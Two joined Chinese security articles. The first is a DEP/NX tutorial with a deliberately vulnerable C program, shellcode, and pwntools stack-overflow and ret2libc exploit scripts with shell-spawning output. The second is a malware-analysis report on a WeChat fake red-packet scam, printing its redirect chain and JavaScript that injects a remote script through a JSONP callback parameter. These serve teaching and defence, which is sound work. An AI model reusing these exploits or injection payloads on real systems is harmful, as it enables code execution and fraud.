BTW，特别感谢@_py的试读及校对。
阅读本文时，希望大家能满足以下要求：
* 有足够空闲的时间；
* 对内存破坏相关知识有一定的了解；
* 有独立探寻未知领域的个人意愿；
* 在PoC环节中，掌握必备的ASM/C语言知识。
## 二、简介
从漏洞利用技术首次出现开始，在过去的二十年里，漏洞利用方法的总量一直在持续上涨。虽然软件研发领域中不断采用新的安全保护层，但即便如此，公开漏洞利用技术的数量仍在持续上升。相比十年前，现在如果系统被攻破或者被攻击者接管，可能会带来更加严重的后果。基于这一点，攻击者更加青睐利用[web应用](https://courses.cs.washington.edu/courses/cse484/14au/reading/25-years-vulnerabilities.pdf)中的漏洞，以获得任意代码执行。尽管如此，我们也不能忽视系统本身的漏洞，因为已经存在相应的[漏洞利用](https://www.exploit-db.com/exploit-database-statistics/)技术。
近年来，已经出现了一系列令人印象深刻的系统漏洞攻击事件，近期的一个最严重的案例为：[Equifax公司](https://www.wired.com/story/equifax-breach-no-excuse/)超过1.4亿客户的数据发生泄漏，数据内容包括个人信息、地址以及非常重要的社保号码（SSN）（可以参考相关的[CVE细节](https://www.cvedetails.com/cve/cve-2017-9805)）。
索尼公司也发生了类似的事件，未公开的[电影素材](https://www.sans.org/reading-room/whitepapers/casestudies/case-study-critical-controls-sony-implemented-36022)和[PlayStation网站的用户数据](https://venturebeat.com/2011/09/22/security-lessons-from-the-playstation-network-breach/)遭到泄漏，暴漏了用户姓名、住址、email地址、出生日期、用户名、密码、安全问题，甚至是信用卡等一系列信息。
最近发生的另一起安全事件为[BlueBorne](https://www.trendmicro.com/vinfo/gb/security/news/internet-of-things/blueborne-bluetooth-vulnerabilities-expose-billions-of-devices-to-hacking)，其危害范围非常庞大，影响80多亿个蓝牙设备。主要原因是由于蓝牙协议中存在缺陷，攻击者可以通过无线方式触发漏洞，实现信息泄露或者远程代码执行。
我们需要加固应用程序和系统内部组件来控制这类安全风险，以阻止后续的攻击事件。所有的主流操作系统和大型软件供应商都已采用了相应的防御机制。然而，这些机制在实现过程中并不完备，可能因为某些原因有所缩水，这也是漏洞利用技术得以继续生存的原因所在。
## 三、数据执行保护（DEP）
### 3.1 基本设计
类型不安全（type
unsafe）语言目前的普及度非常高，这些语言在给予程序员完全自由管理内存的同时，也会带来内存破坏问题。修复这些问题通常情况下并不是一件麻烦事，大家已经见惯不怪。然而，由于许多单位（特别是大型公司）所运行的许多系统仍在使用未打补丁的遗留代码，因此这些问题现在仍然是真实存在的安全威胁，滥用这些问题时可能会造成严重后果。比如，虽然Windows
7的主流支持已经于2015年结束，但2017年该系统的[市场份额](http://gs.statcounter.com/os-version-market-share/windows/desktop/worldwide)依然保持在50%左右，这就是非常典型的一个案例。与此同时，2017年Windows
8以及Windows 10加在一起的市场总额才勉强超过40%。这些统计信息每个月都会更新，大家可以在[CVE
DB](https://www.cvedetails.com/browse-by-date.php)中查找相应信息。
[数据执行保护（data execution
prevention，DEP）](http://h10032.www1.hp.com/ctg/Manual/c00387685.pdf)的目标正是阻止攻击者使用受损的这些内存。现在DEP主要为基于硬件的保护形式，硬件DEP可以阻止从内存数据页（data
page）中以任何形式执行代码，因此可以阻止基于缓冲区的攻击技术，这种攻击技术会将恶意代码注入内存结构中。硬件DEP的具体原理是，如果内存页所包含的内容为数据，则将其标记为不可执行区域，如果内容为代码，则标记为可执行区域。当处理器试图从标记为不可执行区域的页面中执行代码时，则会抛出访问冲突（access
violation）异常，随后控制权会交给操作系统，以便处理该异常，最终结果就是应用程序被强制终止。除了硬件DEP以外，还可以使用软件安全检查来补充该功能，这样可以更好地实现异常处理过程。
总而言之，这种技术可以防止攻击者使用新注入应用程序内存中的恶意代码。即使恶意代码之前已经完成注入，这些代码也无法再次执行，这一点我们稍后会介绍。
2004年，[PAX项目](https://pax.grsecurity.net/docs/pax.txt)首先在基于Linux的系统上实现了DEP，最早的系统内核版本为[2.6.7](https://lwn.net/Articles/87808/)。当时，该方法使用了AMD处理器中的NX（No
eXecute）位以及32/64位架构Intel处理器上的XD（Execute Disable）位。与此同时，2004年时，Windows XP
Service Pack 2中也引入了这一功能。
## 3.2 不足之处
这里我会直接介绍数据执行保护的一些缺陷。DEP可以成功防护基本的缓冲区溢出攻击，但更加高级的一些技术，如[返回至libc（ret2libc）](http://ieeexplore.ieee.org/document/1324594/)、[返回导向编程技术（return
oriented
programming，ROP）](http://ieeexplore.ieee.org/abstract/document/6375725/)以及其他可以返回至已知代码的攻击技术并没有纳入考虑范围内。人们通常将这些攻击技术归为[arc
injection](http://ieeexplore.ieee.org/document/1324594/)范畴，这些技术在最近使用的绕过技术中占了很大一部分比例。这些技术专为绕过DEP而研发，可以使用应用程序中已经存在的代码，这些代码的内存页被标记为可执行区域。
ret2libc使用的是glibc系统库中的函数及代码，几乎每个程序都会链接这个库，该库提供了许多可以使用的函数。
另一方面，ROP倾向于从机器码指令中寻找当前可用的代码片段，将这些片段链接在一起，形成可用的指令代码（gadget）。一段gadget由几个机器码指令组成，并且总是以return语句结束，以便程序在执行下一个gadget前将执行流程返回到被滥用的那个应用程序。一段gadget只负责一个功能，将这些gadget串联起来，形成gadget链后，就可以形成完整的利用技术。
> 注意：已经有一些案例表明，实际场景中不一定需要使用返回语句，可以使用类似于“蹦床”之类的一系列函数来转移程序控制流程。
## 四、PoC
为了进一步补充上文内容，这一部分我们将举一些具体的例子，希望能借此让大家理解DEP/NX的重要性。
### 4.1 滥用禁用DEP/NX的程序
首先我们来分析一个没有经过任何加固处理的程序。
我们可以先使用C语言编写存在漏洞的一个简单程序。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char totally_secure(char *arg2[])
{
char buffer[256];
printf("What is your name?n");
strcpy(buffer, arg2[1]);
printf("Hello: %s!n", buffer);
}
int main(int argc, char *argv[])
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("Hello, I'm your friendly & totally secure binary :)!n");
totally_secure(argv);
return 0;
}
这段代码中，`totally_secure()`函数存在缓冲区溢出漏洞。
#### 4.1.1 编译并分析程序
$ gcc vuln.c -o vuln_no_prots -fno-stack-protector -no-pie -Wl,-z,norelro -m32 -z execstack
$ echo 0 > /proc/sys/kernel/randomize_va_space
首先使用GDB来分析生成的程序。
pwndbg> checksec
[*] '/home/pwnbox/DEP/binary/vuln_no_prots'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
pwndbg>
如上所述，生成的这个程序中没有包含任何利用缓解技术，也不存在ASLR机制。
这个程序只是用来介绍这种技术的相关原理，后面我们会介绍缓解这种技术的一些方法。
#### 4.1.2 利用方法
我们可以往缓冲区中填充如下内容，引发最基本的缓冲区溢出：
pwndbg> c
Continuing.
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[─────────────────────────────────────────────────────────────────REGISTERS──────────────────────────────────────────────────────────────────]
*EAX 0x119
EBX 0x8049838 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804974c (_DYNAMIC) ◂— 1
*ECX 0xffffccd0 ◂— 0x41414141 ('AAAA')
*EDX 0xf7fae870 (_IO_stdfile_1_lock) ◂— 0
EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x5d /* 0x1b5db0 */
ESI 0xffffce20 ◂— 0x2
*EBP 0x41414141 ('AAAA')
*ESP 0xffffcde0 —▸ 0xffffce00 ◂— 0x0
*EIP 0x42424242 ('BBBB')
[───────────────────────────────────────────────────────────────────DISASM───────────────────────────────────────────────────────────────────]
Invalid address 0x42424242
从结果中可知，我们已经成功覆盖了EIP以及EBP寄存器。
[ret](http://c9x.me/x86/html/file_module_x86_id_280.html)指令会从栈中取出下一个值（即我们的“BBBB”），将其载入EIP寄存器，接下来代码执行流程会继续从那里开始执行。
因此，我们可以使用诸如“`/bin/sh + 其他填充数据`”之类的数据来填充缓冲区，或者使用shellcode来尝试溢出这个位置。
我们可以自己制作shellcode，或者从[此处](http://shell-storm.org/shellcode/)获取别人做好的shellcode。
最后我使用的是如下数据：
46字节: x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68
利用代码如下所示：
#!/usr/bin/env python
import argparse
import sys
from pwn import *
from pwnlib import *
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'
binary = ELF('./binary/vuln_no_prots')
def main():
parser = argparse.ArgumentParser(description="pwnerator")
parser.add_argument('--dbg', '-d', action='store_true')
args = parser.parse_args()
executable = './binary/vuln_no_prots'
payload = 'x90'*222
# shellcode 46 bytes
# 268 bytes - 46 bytes = length of nop sled
payload += 'x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0b'
payload += 'x8dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68'
payload += 'x20xcdxffxff' # stack
if args.dbg:
r = gdb.debug([executable, payload], gdbscript="""
b *main
continue""",
)
else:
r = process([executable, payload])
r.interactive()
if __name__ == '__main__':
main()
sys.exit(0)
执行结果如下：
pwnbox@lab:~/DEP$ python bypass_no_prot.py INFO
[*] '/home/pwnbox/DEP/binary/vuln_no_prots'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process './binary/vuln_no_prots': pid 65330
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x901��F1�1��x80�[1��Cx07x89x89Cx0cxb0x0bx8dx8dSx0c̀���xffxff/bin/sh ��xff!
$ whoami
pwnbox
$
我们成功从栈上继续执行代码。我们跳过了一大段NOP区域，使我们的shellcode能被正确弹出。目前为止我们成功实现了代码执行，一切顺利。
### 4.2 绕过DEP/NX
目前为止，我们介绍的内容还是跟其他简单的缓冲区溢出教程类似。从现在起，我们来看看更加有趣的一些地方。
我们需要为这个程序构造新的利用程序，这一次有DEP/NX保护机制存在。
前面那段利用代码再也无法正常工作，如下所示。
新程序的配置信息如下：
gcc vuln.c -o vuln_with_nx -fno-stack-protector -no-pie -Wl,-z,norelro -m32
gdb ./vuln_with_nx
pwndbg> checksec
[*] '/home/pwnbox/DEP/binary/vuln_with_nx'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
pwndbg>
执行之前的载荷后，我们可以看到如下结果：
python bypass_no_prot.py INFO
[+] Starting local process './binary/vuln_with_nx': pid 65946
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x901��F1�1��x80�[1��Cx07x89x89Cx0cxb0x0bx8dx8dSx0c̀���xffxff/bin/sh ��xff!
[*] Got EOF while reading in interactive
$ whoami
[*] Process './binary/vuln_with_nx' stopped with exit code -11 (SIGSEGV) (pid 65946)
[*] Got EOF while sending in interactive
通过GDB可以观察到某些地方出了问题：
pwndbg>
0xffffcd20 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[─────────────────────────────────────────────────────────────────REGISTERS──────────────────────────────────────────────────────────────────]
EAX 0x119
EBX 0x69622fff
ECX 0xffffa7d0 ◂— 0x6c6c6548 ('Hell')
EDX 0xf7fae870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b5db0
ESI 0xffffce50 ◂— 0x2
EBP 0x68732f6e ('n/sh')
*ESP 0xffffce10 —▸ 0xffffce00 ◂— 0xffffe5e8
*EIP 0xffffcd20 ◂— 0x90909090
[───────────────────────────────────────────────────────────────────DISASM───────────────────────────────────────────────────────────────────]
0x804851e <totally_secure+88> add esp, 0x10
0x8048521 <totally_secure+91> nop
0x8048522 <totally_secure+92> mov ebx, dword ptr [ebp - 4]
0x8048525 <totally_secure+95> leave
0x8048526 <totally_secure+96> ret
↓
► 0xffffcd20 nop
0xffffcd21 nop
0xffffcd22 nop
0xffffcd23 nop
0xffffcd24 nop
0xffffcd25 nop
[───────────────────────────────────────────────────────────────────STACK────────────────────────────────────────────────────────────────────]
00:0000│ esp 0xffffce10 —▸ 0xffffce00 ◂— 0xffffe5e8
01:0004│ 0xffffce14 ◂— 0x0
02:0008│ 0xffffce18 ◂— 0x2
03:000c│ 0xffffce1c ◂— 0x0
04:0010│ 0xffffce20 ◂— 0x2
05:0014│ 0xffffce24 —▸ 0xffffcee4 —▸ 0xffffd0c2 ◂— 0x69622f2e ('./bi')
06:0018│ 0xffffce28 —▸ 0xffffcef0 —▸ 0xffffd1e9 ◂— 0x4e5f434c ('LC_N')
07:001c│ 0xffffce2c —▸ 0xffffce50 ◂— 0x2
[─────────────────────────────────────────────────────────────────BACKTRACE──────────────────────────────────────────────────────────────────]
► f 0 ffffcd20
pwndbg>
我们再次命中了NOP区域，因此我们的位置没有问题。然而，这些内存页不再被执行，最终我们看到了非常讨厌的SEGSEGV错误。
是时候使用arc injection技术了。
#### 4.2.1 ret2libc
让我们先从ret2libc开始。
这里我不会详细介绍这个技术，因为介绍该技术的文章侧重于防御方面内容。此外，我们可以找到许多难题挑战及利用技术相关文章，如
@IoTh1nkN0t写的[ret2libc](https://0x00sec.org/t/exploiting-techniques-000-ret2libc/)文章。
因此，我减少了这部分内容，避免冗余或重复信息存在。
> 注意：这里我们仍然没有面对ASLR，因此不需要使用高级的ret2libc技术，这里介绍的方法仅用于演示目的。
基本的ret2libc方法如下：
栈顶 | EBP | EIP | 伪造的返回地址 | shell的地址
---|---|---|---|---
AAAAAAAAAA | AAAA | 系统函数 (libc)的地址 | 比如JUNK（垃圾）数据 | 比如 /bin/sh
**首先是查找libc基地址：**
1、可以使用如下方法查找已链接的libc：
ldd vuln_with_nx
linux-gate.so.1 => (0xf7ffc000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e1d000) # <- this is it
/lib/ld-linux.so.2 (0x56555000)
2、使用gdb查找libc的基地址：
pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xf7df7000 0xf7fab000 r-xp 1b4000 0 /lib/i386-linux-gnu/libc-2.24.so # we want this one
0xf7fab000 0xf7fad000 r--p 2000 1b3000 /lib/i386-linux-gnu/libc-2.24.so
0xf7fad000 0xf7fae000 rw-p 1000 1b5000 /lib/i386-linux-gnu/libc-2.24.so
pwndbg>
**其次，查找`/bin/sh`偏移量：**
现在我们需要查找`/bin/sh`在其中的偏移量。
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "bin/sh"
15fa0f /bin/sh # <- this is our offset
现在我们可以通过`基地址+偏移量`的方式计算出shell的地址。具体算式为：`0xf7df7000` \+ `15fa0f` = `0xf7f56a0f`。
**然后，查找system位置：**
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
246: 00116670 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
628: 0003b060 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1461: 0003b060 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 # this is our gem
现在我们可以通过`基地址+偏移量`的方式计算出shell的地址。具体算式为：`0xf7df7000` \+ `0x3b060` =
`0xf7e32060`。
从现在开始，我们可以构造最终可用的利用代码了，我们已经得到所需的所有信息。
或者我们也可以使用下面这种方法，即 **没有ASLR时的偷懒方法** 。
首先打印system的位置：
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e32060 <system>
搜索可用的shell：
pwndbg> find &system, +99999999, "/bin/sh"
0xf7f56a0f
warning: Unable to access 16000 bytes of target memory at 0xf7fb8733, halting search.
1 pattern found.
pwndbg>
这样可以直接得到构造利用代码所需的那些地址。
**最终利用代码如下：**
#!/usr/bin/env python
import argparse
import sys
from pwn import *
from pwnlib import *
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = '32'
context.log_level = 'DEBUG'
binary = ELF('./binary/vuln_with_nx')
libc = ELF('/lib/i386-linux-gnu/libc-2.24.so')
def main():
parser = argparse.ArgumentParser(description='pwnage')
parser.add_argument('--dbg', '-d', action='store_true')
args = parser.parse_args()
executable = './binary/vuln_with_nx'
libc_base = 0xf7df7000
binsh = int(libc.search("/bin/sh").next())
print("[+] Shell located at offset from libc: %s" % hex(binsh))
shell_addr = libc_base + binsh
print("[+] Shell is at address: %s" % hex(shell_addr))
print("[+] libc.system() has a %s offset from libc" % hex(libc.symbols["system"]))
system_call = int(libc_base + libc.symbols["system"])
print("[+] system call is at address: %s" % hex(system_call))
payload = 'A' * 268
payload += p32(system_call)
payload += 'JUNK'
payload += p32(shell_addr)
if args.dbg:
r = gdb.debug([executable, payload],
gdbscript="""
b *totally_secure+53
continue""")
else:
r = process([executable, payload])
r.interactive()
if __name__ == '__main__':
main()
sys.exit(0)
执行结果为：
python bypass_ret2libc.py INFO
[*] '/DEP/binary/vuln_with_nx'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc-2.24.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Shell located at offset from libc: 0x15fa0f
[+] Shell is at address: 0xf7f56a0f
[+] libc.system() has a 0x3b060 offset from libc
[+] system call is at address: 0xf7e32060
[+] Starting local process './binary/vuln_with_nx': pid 65828
[*] Switching to interactive mode
Hello, I'm your friendly & totally secure binary :)!
What is your name?
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` ��JUNKx0fj��!
$ whoami
pwnbox
$
从结果中可知，我们使用这段利用代码在最新的Ubuntu系统上成功绕过了DEP/NX保护机制。
大家也可以自己动手试一下。
> 注意：这种方法需要依赖实际环境中的libc库才能正常工作。
#### 4.2.2 ROP
最开始时，人们使用类似ret2libc等返回到已知代码的攻击方法来绕过系统上的DEP/NX机制。一般情况下，所有的arc
injection攻击方法都可以绕过DEP/NX，而ROP可以作为ret2libc的替代方案或者增强版。因此，这种情况下也可以使用ROP技术。我们会在后续文章中介绍ROP相关知识。
## 五、总结
这篇文章并不长，大概介绍了DEP/NX保护机制的特点及脆弱性。可以认为，系统引入这种防御机制的目的是为了阻止现在最为常用的一种漏洞利用技术。刚开始时这种方法非常有效，但随后出现了arc
injection方法，可以绕过这种保护机制。
希望这系列文章能给大家带来帮助，如果大家有什么意见或者建议，欢迎及时反馈，我会在后续文章中满足大家需求。 | 社区文章 |
**作者：启明星辰ADLab
公众号：[ADLab](https://mp.weixin.qq.com/s/-VMqiRPDc6qkvYUIkE3Fsw "ADLab") **
### 一、事件简介
近期，启明星辰ADLab收到客户反馈：在使用微信的过程中疑似出现“中毒”现象，用户在群聊中收到“微信语音”，点开后却提示领取“流浪地球电影票房红包”，打开红包并答题后需要分享至微信群方可“提现”。由于页面交互逼真，不明真相的用户纷纷中招，造成诸多群聊中出现了“群邀请”
、“语音”和“广告”等欺骗性分享链接，并成病毒式快速传播。链接指向“老中医”、“投资指导”和“低俗小说”等恶意广告，诱导用户添加微信或关注公众号，之后一步步通过骗取定金或彩票刷单等手段诈骗用户财产，稍有不慎就会落入圈套。
启明星辰ADLab迅速对此进行了分析，发现这是一起针对普通用户的微信灰产恶意广告诈骗事件。灰产团伙将网页URL伪装成“微信语音”，以链接的方式发送给用户和微信群，借助10086、微信和爱奇艺等网站的跳转链接将“语音”重定向至灰产URL，同时伪造了红包界面，隐藏了微信的菜单和按钮接口。页面后台多次跳转防封，并将用户的返回操作定向到新广告页面，前台则利用近期的热点电影“流浪地球”进行炒作，最终以红包提现的噱头引诱用户分享恶意广告，传播牟利，甚至以红包作为幌子发布钓鱼链接。事件整体流程如图所示：
### 二、技术分析
“语音”链接经过重定向和多次跳转后才加载至红包界面，我们猜测该团伙是考虑到腾讯的查封规则，为有效增加存活时间，首先通过知名域名的重定向来规避检查，其使用过的可重定向URL如下：
1. http://rd.go.10086.cn/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=
2. https://as.weixin.qq.com/cgi-bin/amazing?url=
3. https://36kr.com/jump?url=（失效）
4. https://bird.sns.iqiyi.com/jump?jump_url=
重定向、多次跳转和JS脚本执行的主要流程如下（实际跳转可能随时变化）：
下面针对其中的主要过程进行分析阐释。
#### 2.1 链接重定向
黑客疑似通过微信JS-SDK自定义文案与图标伪造“语音”链接，当用户点击“语音”链接时会被重定向，数据包请求内容如下：
GET
/remind/push/remind.do?specailfunc=wapMpp&x-original-URL=http%3A%2F%2Fqnimg.9igcw.com%2Ff22b419d44ff4fc89125e8cd29c186b2%3F7nbgtxb%3D7nbgtxb%26_c%3D5052 HTTP/1.1
Host: rd.go.10086.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection:keep-alive
数据包回应内容如下：
HTTP/1.1 302 Found
Server: nginx
Date: Thu, 28 Feb 2019 06:26:40 GMT
Content-Type: text/html
Content-Length: 0
Cache-Control: no-cache
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=1BB9D91C996A06399CCB819628E9A865; Path=/remind
Location: http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
Proxy-Connection: keep-alive
#### 2.2 链接跳转
重定向目标地址链接不固定，我们发现的两个链接如下：
1. http://qnimg.9igcw.com/f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052
2. http://image.dushemovie.com/5782e5f29cbf43f99839368b75c5b4d2?5wwot3p=5wwot3p&_c=5052
以链接1为例，请求目标为image/svg+xml类型，请求数据内容如下：
GET /f22b419d44ff4fc89125e8cd29c186b2?7nbgtxb=7nbgtxb&_c=5052 HTTP/1.1
Host qnimg.9igcw.com
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.901.400 QQBrowser/9.0.2524.400
Accept-Encoding gzip, deflate
Accept-Language zh-CN,zh;q=0.8,en-us;q=0.6,en;q=0.5;q=0.4
Connection keep-alive
数据包回应Headers内容如下：
HTTP/1.1 200 OK
Server: Tengine
Content-Type: image/svg+xml
Content-Length: 285
Date: Thu, 28 Feb 2019 04:48:00 GMT
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: X-Log, X-Reqid
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="f22b419d44ff4fc89125e8cd29c186b2"; filename*=utf-8' 'f22b419d44ff4fc89125e8cd29c186b2
Content-Transfer-Encoding: binary
Etag: "FtABqMD18XgR60Q7wmUamU9uUx5l"
Last-Modified: Sun, 11 Nov 2018 03:29:41 GMT
X-Log: redis.g;DC;IO:1
X-M-Log: QNM:xs460;QNM3
X-M-Reqid: -XEAAFpARvTCbYcV
X-Qiniu-Zone: 0
X-Qnm-Cache: Hit
X-Reqid: IFUAAF3TM4jTYIcV
X-Svr: IO
Ali-Swift-Global-Savetime: 1551329280
Via: cache14.l2et15[26,200-0,M], cache16.l2et15[27,0], cache19.cn1088[0,200-0,H], cache19.cn1088[1,0]
Age: 5918
X-Cache: HIT TCP_HIT dirn:11:386590902
X-Swift-SaveTime: Thu, 28 Feb 2019 04:48:00 GMT
X-Swift-CacheTime: 2592000
Timing-Allow-Origin: *
EagleId: 73e7282715513351989788044e
Proxy-Connection: keep-alive
其中数据包回应内容包含新链接至 <https://api.meipaifan.cn/j>。
#### 2.3 JavaScript脚本
请求URL：<https://api.meipaifan.cn/j>为JavaScript脚本，内容如下:
var ua = navigator.userAgent;
if (ua.indexOf("MicroMessenger") > 0) { //判断是否为微信浏览器
var noreferrer = true;
try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
if (top != window || !document.body){
top.location.href = 'https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';
}
else{
var a=document.createElement('a');a.href='https://tj.esf.fang.com/NewSecond/SuggestionForFrontPage.aspx?city=&jsoncallback=%3F%26lt;ScRiPt%20src=%22//api.51bjbj.com/j?xload=1%22%26gt;%26lt;/sCripT%26gt;&type=ld&8xvu=8xvu&pwd=6IGDUR&_c=5052';if(noreferrer) a.rel='noreferrer';a.click();
}
};
JS脚本会通过navigator.userAgent.indexOf来判断浏览器类型，若不是微信浏览器返回404。
若为微信浏览器，则继续判断页面为前端或后端，再分别依据两种策略进行后台访问（访问链接可变如：<https://tj.esf.fang.com>）暗刷流量，在应答的数据中包含Script脚本指向另外一个新链接（JS脚本），如下图所示:
新链接（api.51bjbj.com/j?xload=1）通过脚本解码出网页内容：
解码后的网页内容如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>...</title>
<!--庆祝拼多多营收1000亿美元送红包-->
<meta name="viewport"
content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/>
<meta name="format-detection" content="telephone=no">
<meta name="applicable-device" content="mobile">
<link rel="stylesheet" href="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/css/d.css">
<script>
window.focusLocation = {};
</script>
</head>
<body>
<script src="//res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/lib/js/jquery.min.js"></script>
<script src="https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/1919/lib/core.js"></script>
<script src="https://api.51bjbj.com./config?var=window.data&sign=0"></script>
<script>
// location.href = 'http://m3.tuniucdn.com/fb2/t1/G5/M00/FD/03/Cii-s1s1vLaIR3iWAAAAlO4kMEYAAG3DQP__nQAAAGM31.html?fsrc=rabbit&type=wz3';
M.loadJS('https://butuyu.oss-cn-hangzhou.aliyuncs.com/hb-new/lldq/d.js?v=' + (+new Date()));
</script>
</body>
</html>
